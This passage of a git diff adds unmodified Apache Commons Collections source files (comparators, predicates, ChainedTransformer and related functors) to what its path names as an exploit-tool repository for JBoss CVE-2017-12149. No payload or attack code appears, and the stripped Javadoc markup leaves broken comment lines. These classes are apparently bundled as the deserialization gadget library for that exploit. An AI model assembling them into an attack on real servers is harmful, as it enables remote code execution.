+ throw new NullPointerException("null nonNullComparator");
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Perform a comparison between two objects. If both objects are
+ * null
, a 0
value is returned. If one object
+ * is null
and the other is not, the result is determined on
+ * whether the Comparator was constructed to have nulls as higher or lower
+ * than other objects. If neither object is null
, an
+ * underlying comparator specified in the constructor (or the default) is
+ * used to compare the non-null
objects.
+ *
+ * @param o1 the first object to compare
+ * @param o2 the object to compare it to.
+ * @return -1
if o1
is "lower" than (less than,
+ * before, etc.) o2
; 1
if o1
is
+ * "higher" than (greater than, after, etc.) o2
; or
+ * 0
if o1
and o2
are equal.
+ **/
+ public int compare(Object o1, Object o2) {
+ if(o1 == o2) { return 0; }
+ if(o1 == null) { return (this.nullsAreHigh ? 1 : -1); }
+ if(o2 == null) { return (this.nullsAreHigh ? -1 : 1); }
+ return this.nonNullComparator.compare(o1, o2);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Implement a hash code for this comparator that is consistent with
+ * {@link #equals(Object)}.
+ *
+ * @return a hash code for this comparator.
+ **/
+ public int hashCode() {
+ return (nullsAreHigh ? -1 : 1) * nonNullComparator.hashCode();
+ }
+
+ /**
+ * Determines whether the specified object represents a comparator that is
+ * equal to this comparator.
+ *
+ * @param obj the object to compare this comparator with.
+ *
+ * @return true
if the specified object is a NullComparator
+ * with equivalent null
comparison behavior
+ * (i.e. null
high or low) and with equivalent underlying
+ * non-null
object comparators.
+ **/
+ public boolean equals(Object obj) {
+ if(obj == null) { return false; }
+ if(obj == this) { return true; }
+ if(!obj.getClass().equals(this.getClass())) { return false; }
+
+ NullComparator other = (NullComparator)obj;
+
+ return ((this.nullsAreHigh == other.nullsAreHigh) &&
+ (this.nonNullComparator.equals(other.nonNullComparator)));
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/ReverseComparator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/ReverseComparator.java"
new file mode 100644
index 0000000..e7f8732
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/ReverseComparator.java"
@@ -0,0 +1,124 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.comparators;
+
+import java.io.Serializable;
+import java.util.Comparator;
+
+/**
+ * Reverses the order of another comparator by reversing the arguments
+ * to its {@link #compare(Object, Object) compare} method.
+ *
+ * @since Commons Collections 2.0
+ * @version $Revision: 1.20 $ $Date: 2004/05/16 11:49:24 $
+ *
+ * @author Henri Yandell
+ * @author Michael A. Smith
+ *
+ * @see java.util.Collections#reverseOrder()
+ */
+public class ReverseComparator implements Comparator, Serializable {
+
+ /** Serialization version from Collections 2.0. */
+ private static final long serialVersionUID = 2858887242028539265L;
+
+ /** The comparator being decorated. */
+ private Comparator comparator;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Creates a comparator that compares objects based on the inverse of their
+ * natural ordering. Using this Constructor will create a ReverseComparator
+ * that is functionally identical to the Comparator returned by
+ * java.util.Collections.reverseOrder().
+ *
+ * @see java.util.Collections#reverseOrder()
+ */
+ public ReverseComparator() {
+ this(null);
+ }
+
+ /**
+ * Creates a comparator that inverts the comparison
+ * of the given comparator. If you pass in null
,
+ * the ReverseComparator defaults to reversing the
+ * natural order, as per
+ * {@link java.util.Collections#reverseOrder()}.
+ *
+ * @param comparator Comparator to reverse
+ */
+ public ReverseComparator(Comparator comparator) {
+ if(comparator != null) {
+ this.comparator = comparator;
+ } else {
+ this.comparator = ComparableComparator.getInstance();
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Compares two objects in reverse order.
+ *
+ * @param obj1 the first object to compare
+ * @param obj2 the second object to compare
+ * @return negative if obj1 is less, positive if greater, zero if equal
+ */
+ public int compare(Object obj1, Object obj2) {
+ return comparator.compare(obj2, obj1);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Implement a hash code for this comparator that is consistent with
+ * {@link #equals(Object) equals}.
+ *
+ * @return a suitable hash code
+ * @since Commons Collections 3.0
+ */
+ public int hashCode() {
+ return "ReverseComparator".hashCode() ^ comparator.hashCode();
+ }
+
+ /**
+ * Returns true
iff that Object is
+ * is a {@link Comparator} whose ordering is known to be
+ * equivalent to mine.
+ * true
+ * iff object.{@link Object#getClass() getClass()}
+ * equals this.getClass()
, and the underlying
+ * comparators are equal.
+ * Subclasses may want to override this behavior to remain consistent
+ * with the {@link Comparator#equals(Object) equals} contract.
+ *
+ * @param object the object to compare to
+ * @return true if equal
+ * @since Commons Collections 3.0
+ */
+ public boolean equals(Object object) {
+ if(this == object) {
+ return true;
+ } else if(null == object) {
+ return false;
+ } else if(object.getClass().equals(this.getClass())) {
+ ReverseComparator thatrc = (ReverseComparator)object;
+ return comparator.equals(thatrc.comparator);
+ } else {
+ return false;
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/TransformingComparator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/TransformingComparator.java"
new file mode 100644
index 0000000..b3b831e
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/TransformingComparator.java"
@@ -0,0 +1,77 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.comparators;
+
+import java.util.Comparator;
+
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Decorates another Comparator with transformation behavior. That is, the
+ * return value from the transform operation will be passed to the decorated
+ * {@link Comparator#compare(Object,Object) compare} method.
+ *
+ * @since Commons Collections 2.0 (?)
+ * @version $Revision$ $Date$
+ *
+ * @see org.apache.commons.collections.Transformer
+ * @see org.apache.commons.collections.comparators.ComparableComparator
+ */
+public class TransformingComparator implements Comparator {
+
+ /** The decorated comparator. */
+ protected Comparator decorated;
+ /** The transformer being used. */
+ protected Transformer transformer;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructs an instance with the given Transformer and a
+ * {@link ComparableComparator ComparableComparator}.
+ *
+ * @param transformer what will transform the arguments to compare
+ */
+ public TransformingComparator(Transformer transformer) {
+ this(transformer, new ComparableComparator());
+ }
+
+ /**
+ * Constructs an instance with the given Transformer and Comparator.
+ *
+ * @param transformer what will transform the arguments to compare
+ * @param decorated the decorated Comparator
+ */
+ public TransformingComparator(Transformer transformer, Comparator decorated) {
+ this.decorated = decorated;
+ this.transformer = transformer;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns the result of comparing the values from the transform operation.
+ *
+ * @param obj1 the first object to transform then compare
+ * @param obj2 the second object to transform then compare
+ * @return negative if obj1 is less, positive if greater, zero if equal
+ */
+ public int compare(Object obj1, Object obj2) {
+ Object value1 = this.transformer.transform(obj1);
+ Object value2 = this.transformer.transform(obj2);
+ return this.decorated.compare(value1, value2);
+ }
+
+}
+
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/package.html" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/package.html"
new file mode 100644
index 0000000..2076934
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/package.html"
@@ -0,0 +1,26 @@
+
+
+all
predicate
+ * @throws IllegalArgumentException if the predicates array is null
+ * @throws IllegalArgumentException if the predicates array has less than 2 elements
+ * @throws IllegalArgumentException if any predicate in the array is null
+ */
+ public static Predicate getInstance(Predicate[] predicates) {
+ FunctorUtils.validateMin2(predicates);
+ predicates = FunctorUtils.copy(predicates);
+ return new AllPredicate(predicates);
+ }
+
+ /**
+ * Factory to create the predicate.
+ *
+ * @param predicates the predicates to check, cloned, not null
+ * @return the all
predicate
+ * @throws IllegalArgumentException if the predicates array is null
+ * @throws IllegalArgumentException if any predicate in the array is null
+ * @throws IllegalArgumentException if the predicates array has less than 2 elements
+ */
+ public static Predicate getInstance(Collection predicates) {
+ Predicate[] preds = FunctorUtils.validate(predicates);
+ return new AllPredicate(preds);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param predicates the predicates to check, not cloned, not null
+ */
+ public AllPredicate(Predicate[] predicates) {
+ super();
+ iPredicates = predicates;
+ }
+
+ /**
+ * Evaluates the predicate returning true if all predicates return true.
+ *
+ * @param object the input object
+ * @return true if all decorated predicates return true
+ */
+ public boolean evaluate(Object object) {
+ for (int i = 0; i < iPredicates.length; i++) {
+ if (iPredicates[i].evaluate(object) == false) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ /**
+ * Gets the predicates, do not modify the array.
+ *
+ * @return the predicates
+ * @since Commons Collections 3.1
+ */
+ public Predicate[] getPredicates() {
+ return iPredicates;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/AndPredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/AndPredicate.java"
new file mode 100644
index 0000000..4628597
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/AndPredicate.java"
@@ -0,0 +1,88 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Predicate implementation that returns true if both the predicates return true.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/31 16:43:17 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class AndPredicate implements Predicate, PredicateDecorator, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 4189014213763186912L;
+
+ /** The array of predicates to call */
+ private final Predicate iPredicate1;
+ /** The array of predicates to call */
+ private final Predicate iPredicate2;
+
+ /**
+ * Factory to create the predicate.
+ *
+ * @param predicate1 the first predicate to check, not null
+ * @param predicate2 the second predicate to check, not null
+ * @return the and
predicate
+ * @throws IllegalArgumentException if either predicate is null
+ */
+ public static Predicate getInstance(Predicate predicate1, Predicate predicate2) {
+ if (predicate1 == null || predicate2 == null) {
+ throw new IllegalArgumentException("Predicate must not be null");
+ }
+ return new AndPredicate(predicate1, predicate2);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param predicate1 the first predicate to check, not null
+ * @param predicate2 the second predicate to check, not null
+ */
+ public AndPredicate(Predicate predicate1, Predicate predicate2) {
+ super();
+ iPredicate1 = predicate1;
+ iPredicate2 = predicate2;
+ }
+
+ /**
+ * Evaluates the predicate returning true if both predicates return true.
+ *
+ * @param object the input object
+ * @return true if both decorated predicates return true
+ */
+ public boolean evaluate(Object object) {
+ return (iPredicate1.evaluate(object) && iPredicate2.evaluate(object));
+ }
+
+ /**
+ * Gets the two predicates being decorated as an array.
+ *
+ * @return the predicates
+ * @since Commons Collections 3.1
+ */
+ public Predicate[] getPredicates() {
+ return new Predicate[] {iPredicate1, iPredicate2};
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/AnyPredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/AnyPredicate.java"
new file mode 100644
index 0000000..8dfc2e3
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/AnyPredicate.java"
@@ -0,0 +1,104 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+import java.util.Collection;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Predicate implementation that returns true if any of the predicates return true.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/31 16:43:17 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class AnyPredicate implements Predicate, PredicateDecorator, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 7429999530934647542L;
+
+ /** The array of predicates to call */
+ private final Predicate[] iPredicates;
+
+ /**
+ * Factory to create the predicate.
+ *
+ * @param predicates the predicates to check, cloned, not null
+ * @return the any
predicate
+ * @throws IllegalArgumentException if the predicates array is null
+ * @throws IllegalArgumentException if the predicates array has less than 2 elements
+ * @throws IllegalArgumentException if any predicate in the array is null
+ */
+ public static Predicate getInstance(Predicate[] predicates) {
+ FunctorUtils.validateMin2(predicates);
+ predicates = FunctorUtils.copy(predicates);
+ return new AnyPredicate(predicates);
+ }
+
+ /**
+ * Factory to create the predicate.
+ *
+ * @param predicates the predicates to check, cloned, not null
+ * @return the all
predicate
+ * @throws IllegalArgumentException if the predicates array is null
+ * @throws IllegalArgumentException if any predicate in the array is null
+ * @throws IllegalArgumentException if the predicates array has less than 2 elements
+ */
+ public static Predicate getInstance(Collection predicates) {
+ Predicate[] preds = FunctorUtils.validate(predicates);
+ return new AnyPredicate(preds);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param predicates the predicates to check, not cloned, not null
+ */
+ public AnyPredicate(Predicate[] predicates) {
+ super();
+ iPredicates = predicates;
+ }
+
+ /**
+ * Evaluates the predicate returning true if any predicate returns true.
+ *
+ * @param object the input object
+ * @return true if any decorated predicate return true
+ */
+ public boolean evaluate(Object object) {
+ for (int i = 0; i < iPredicates.length; i++) {
+ if (iPredicates[i].evaluate(object)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Gets the predicates, do not modify the array.
+ *
+ * @return the predicates
+ * @since Commons Collections 3.1
+ */
+ public Predicate[] getPredicates() {
+ return iPredicates;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ChainedClosure.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ChainedClosure.java"
new file mode 100644
index 0000000..bb1fa7e
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ChainedClosure.java"
@@ -0,0 +1,131 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Iterator;
+
+import org.apache.commons.collections.Closure;
+
+/**
+ * Closure implementation that chains the specified closures together.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/03/13 17:17:03 $
+ *
+ * @author Stephen Colebourne
+ */
+public class ChainedClosure implements Closure, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = -3520677225766901240L;
+
+ /** The closures to call in turn */
+ private final Closure[] iClosures;
+
+ /**
+ * Factory method that performs validation and copies the parameter array.
+ *
+ * @param closures the closures to chain, copied, no nulls
+ * @return the chained
closure
+ * @throws IllegalArgumentException if the closures array is null
+ * @throws IllegalArgumentException if any closure in the array is null
+ */
+ public static Closure getInstance(Closure[] closures) {
+ FunctorUtils.validate(closures);
+ if (closures.length == 0) {
+ return NOPClosure.INSTANCE;
+ }
+ closures = FunctorUtils.copy(closures);
+ return new ChainedClosure(closures);
+ }
+
+ /**
+ * Create a new Closure that calls each closure in turn, passing the
+ * result into the next closure. The ordering is that of the iterator()
+ * method on the collection.
+ *
+ * @param closures a collection of closures to chain
+ * @return the chained
closure
+ * @throws IllegalArgumentException if the closures collection is null
+ * @throws IllegalArgumentException if any closure in the collection is null
+ */
+ public static Closure getInstance(Collection closures) {
+ if (closures == null) {
+ throw new IllegalArgumentException("Closure collection must not be null");
+ }
+ if (closures.size() == 0) {
+ return NOPClosure.INSTANCE;
+ }
+ // convert to array like this to guarantee iterator() ordering
+ Closure[] cmds = new Closure[closures.size()];
+ int i = 0;
+ for (Iterator it = closures.iterator(); it.hasNext();) {
+ cmds[i++] = (Closure) it.next();
+ }
+ FunctorUtils.validate(cmds);
+ return new ChainedClosure(cmds);
+ }
+
+ /**
+ * Factory method that performs validation.
+ *
+ * @param closure1 the first closure, not null
+ * @param closure2 the second closure, not null
+ * @return the chained
closure
+ * @throws IllegalArgumentException if either closure is null
+ */
+ public static Closure getInstance(Closure closure1, Closure closure2) {
+ if (closure1 == null || closure2 == null) {
+ throw new IllegalArgumentException("Closures must not be null");
+ }
+ Closure[] closures = new Closure[] { closure1, closure2 };
+ return new ChainedClosure(closures);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param closures the closures to chain, not copied, no nulls
+ */
+ public ChainedClosure(Closure[] closures) {
+ super();
+ iClosures = closures;
+ }
+
+ /**
+ * Execute a list of closures.
+ *
+ * @param input the input object passed to each closure
+ */
+ public void execute(Object input) {
+ for (int i = 0; i < iClosures.length; i++) {
+ iClosures[i].execute(input);
+ }
+ }
+
+ /**
+ * Gets the closures, do not modify the array.
+ * @return the closures
+ * @since Commons Collections 3.1
+ */
+ public Closure[] getClosures() {
+ return iClosures;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ChainedTransformer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ChainedTransformer.java"
new file mode 100644
index 0000000..f561b27
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ChainedTransformer.java"
@@ -0,0 +1,136 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Iterator;
+
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Transformer implementation that chains the specified transformers together.
+ * chained
transformer
+ * @throws IllegalArgumentException if the transformers array is null
+ * @throws IllegalArgumentException if any transformer in the array is null
+ */
+ public static Transformer getInstance(Transformer[] transformers) {
+ FunctorUtils.validate(transformers);
+ if (transformers.length == 0) {
+ return NOPTransformer.INSTANCE;
+ }
+ transformers = FunctorUtils.copy(transformers);
+ return new ChainedTransformer(transformers);
+ }
+
+ /**
+ * Create a new Transformer that calls each transformer in turn, passing the
+ * result into the next transformer. The ordering is that of the iterator()
+ * method on the collection.
+ *
+ * @param transformers a collection of transformers to chain
+ * @return the chained
transformer
+ * @throws IllegalArgumentException if the transformers collection is null
+ * @throws IllegalArgumentException if any transformer in the collection is null
+ */
+ public static Transformer getInstance(Collection transformers) {
+ if (transformers == null) {
+ throw new IllegalArgumentException("Transformer collection must not be null");
+ }
+ if (transformers.size() == 0) {
+ return NOPTransformer.INSTANCE;
+ }
+ // convert to array like this to guarantee iterator() ordering
+ Transformer[] cmds = new Transformer[transformers.size()];
+ int i = 0;
+ for (Iterator it = transformers.iterator(); it.hasNext();) {
+ cmds[i++] = (Transformer) it.next();
+ }
+ FunctorUtils.validate(cmds);
+ return new ChainedTransformer(cmds);
+ }
+
+ /**
+ * Factory method that performs validation.
+ *
+ * @param transformer1 the first transformer, not null
+ * @param transformer2 the second transformer, not null
+ * @return the chained
transformer
+ * @throws IllegalArgumentException if either transformer is null
+ */
+ public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {
+ if (transformer1 == null || transformer2 == null) {
+ throw new IllegalArgumentException("Transformers must not be null");
+ }
+ Transformer[] transformers = new Transformer[] { transformer1, transformer2 };
+ return new ChainedTransformer(transformers);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param transformers the transformers to chain, not copied, no nulls
+ */
+ public ChainedTransformer(Transformer[] transformers) {
+ super();
+ iTransformers = transformers;
+ }
+
+ /**
+ * Transforms the input to result via each decorated transformer
+ *
+ * @param object the input object passed to the first transformer
+ * @return the transformed result
+ */
+ public Object transform(Object object) {
+ for (int i = 0; i < iTransformers.length; i++) {
+ object = iTransformers[i].transform(object);
+ }
+ return object;
+ }
+
+ /**
+ * Gets the transformers, do not modify the array.
+ * @return the transformers
+ * @since Commons Collections 3.1
+ */
+ public Transformer[] getTransformers() {
+ return iTransformers;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/CloneTransformer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/CloneTransformer.java"
new file mode 100644
index 0000000..4b87164
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/CloneTransformer.java"
@@ -0,0 +1,70 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Transformer implementation that returns a clone of the input object.
+ * PrototypeFactory.getInstance(input).create()
.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/16 11:36:31 $
+ *
+ * @author Stephen Colebourne
+ */
+public class CloneTransformer implements Transformer, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = -8188742709499652567L;
+
+ /** Singleton predicate instance */
+ public static final Transformer INSTANCE = new CloneTransformer();
+
+ /**
+ * Factory returning the singleton instance.
+ *
+ * @return the singleton instance
+ * @since Commons Collections 3.1
+ */
+ public static Transformer getInstance() {
+ return INSTANCE;
+ }
+
+ /**
+ * Constructor
+ */
+ private CloneTransformer() {
+ super();
+ }
+
+ /**
+ * Transforms the input to result by cloning it.
+ *
+ * @param input the input object to transform
+ * @return the transformed result
+ */
+ public Object transform(Object input) {
+ if (input == null) {
+ return null;
+ }
+ return PrototypeFactory.getInstance(input).create();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ClosureTransformer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ClosureTransformer.java"
new file mode 100644
index 0000000..5221996
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ClosureTransformer.java"
@@ -0,0 +1,86 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Closure;
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Transformer implementation that calls a Closure using the input object
+ * and then returns the input.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/05/16 11:36:31 $
+ *
+ * @author Stephen Colebourne
+ */
+public class ClosureTransformer implements Transformer, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 478466901448617286L;
+
+ /** The closure to wrap */
+ private final Closure iClosure;
+
+ /**
+ * Factory method that performs validation.
+ *
+ * @param closure the closure to call, not null
+ * @return the closure
transformer
+ * @throws IllegalArgumentException if the closure is null
+ */
+ public static Transformer getInstance(Closure closure) {
+ if (closure == null) {
+ throw new IllegalArgumentException("Closure must not be null");
+ }
+ return new ClosureTransformer(closure);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param closure the closure to call, not null
+ */
+ public ClosureTransformer(Closure closure) {
+ super();
+ iClosure = closure;
+ }
+
+ /**
+ * Transforms the input to result by executing a closure.
+ *
+ * @param input the input object to transform
+ * @return the transformed result
+ */
+ public Object transform(Object input) {
+ iClosure.execute(input);
+ return input;
+ }
+
+ /**
+ * Gets the closure.
+ *
+ * @return the closure
+ * @since Commons Collections 3.1
+ */
+ public Closure getClosure() {
+ return iClosure;
+ }
+
+}
